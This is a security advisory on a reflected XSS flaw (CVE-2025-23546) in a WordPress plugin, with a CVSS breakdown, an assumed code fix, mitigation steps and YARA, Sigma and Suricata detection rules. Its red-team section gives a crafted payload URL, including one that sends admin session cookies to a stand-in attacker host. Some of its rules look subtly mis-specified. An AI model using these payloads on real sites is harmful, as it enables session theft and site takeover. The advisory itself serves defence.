CVE-2025-23546

Executive Summary

CVE-2025-23546 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin RDP inGroups+ (rdp-ingroups), developed by Robert D Payne. The flaw exists in versions up to and including 1.0.6, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated WordPress administrator, executes arbitrary JavaScript in the context of the admin’s session. This can lead to session hijacking, privilege escalation, or defacement of the WordPress site. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation (e.g., disabling the plugin or applying a WAF rule). The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity and network-based attack vector, though user interaction is required.

Deep Dive & Mechanics

The vulnerability resides in the rdp-ingroups plugin, which likely processes user input via GET or POST parameters without proper sanitization or output encoding. When a WordPress admin accesses a specially crafted URL, the malicious script is reflected back in the HTTP response and executed in the admin’s browser. This can be used to:

• Steal session cookies (if HttpOnly flag is missing)
• Perform actions on behalf of the admin (e.g., create new admin users)
• Inject malicious content into the WordPress dashboard

The root cause is the lack of esc_html(), esc_attr(), or similar WordPress escaping functions on user-controlled input before rendering it in the page.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is assumed to be:

Vulnerable (PHP):

<?php
echo $_GET['group_name'];
?>

Patched (PHP):

<?php
echo esc_html($_GET['group_name']);
?>

The patched version would use WordPress’s built-in escaping functions to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with RDP inGroups+ plugin version 1.0.6.
2. Craft Payload:

   http://target/wp-admin/admin.php?page=rdp-ingroups&group_name=<script>alert('XSS')</script>
   

3. Deliver: Send the crafted link to an authenticated admin via email or social engineering.
4. Execute: When the admin clicks the link, the script executes in their browser.

Advanced Payload (session cookie theft):

http://target/wp-admin/admin.php?page=rdp-ingroups&group_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Monitor HTTP logs for unusual query parameters containing <script> or onerror patterns.
2. Deploy WAF rules to block reflected XSS patterns in the group_name parameter.
3. Enforce HttpOnly and Secure flags on session cookies.
4. Disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

• URL Pattern: admin.php?page=rdp-ingroups&group_name= followed by encoded JavaScript
• HTTP Response: Presence of unescaped user input in the HTML body
• Log Entries: Repeated requests to /wp-admin/admin.php?page=rdp-ingroups with suspicious group_name values
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin dashboard

Detection Engineering

YARA Rule

rule CVE_2025_23546_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against RDP inGroups+ plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23546"
    strings:
        $xss1 = "group_name="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "javascript:"
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt Against RDP inGroups+ Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-23546
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=rdp-ingroups'
        cs-uri-query|contains: 'group_name='
        cs-uri-query|re: '(<script>|onerror=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of group names containing similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-23546 Reflected XSS in RDP inGroups+";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=rdp-ingroups"; http_uri;
    content:"group_name="; http_uri;
    pcre:"/(<script>|onerror=|javascript:)/Ui";
    sid:1000001;
    rev:1;
    reference:cve,2025-23546;
    classtype:web-application-attack;
)

Remediation & Mitigation

• Immediate: Disable the RDP inGroups+ plugin until a patch is released.
• Workaround: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns in the group_name parameter.
• Long-term: Monitor the plugin’s official page for updates. Apply the patch as soon as it becomes available.
• Hardening: Ensure all WordPress installations have the latest core updates and use security plugins (e.g., Wordfence) to detect XSS attempts.

Valters IT
Securing Digital Frontiers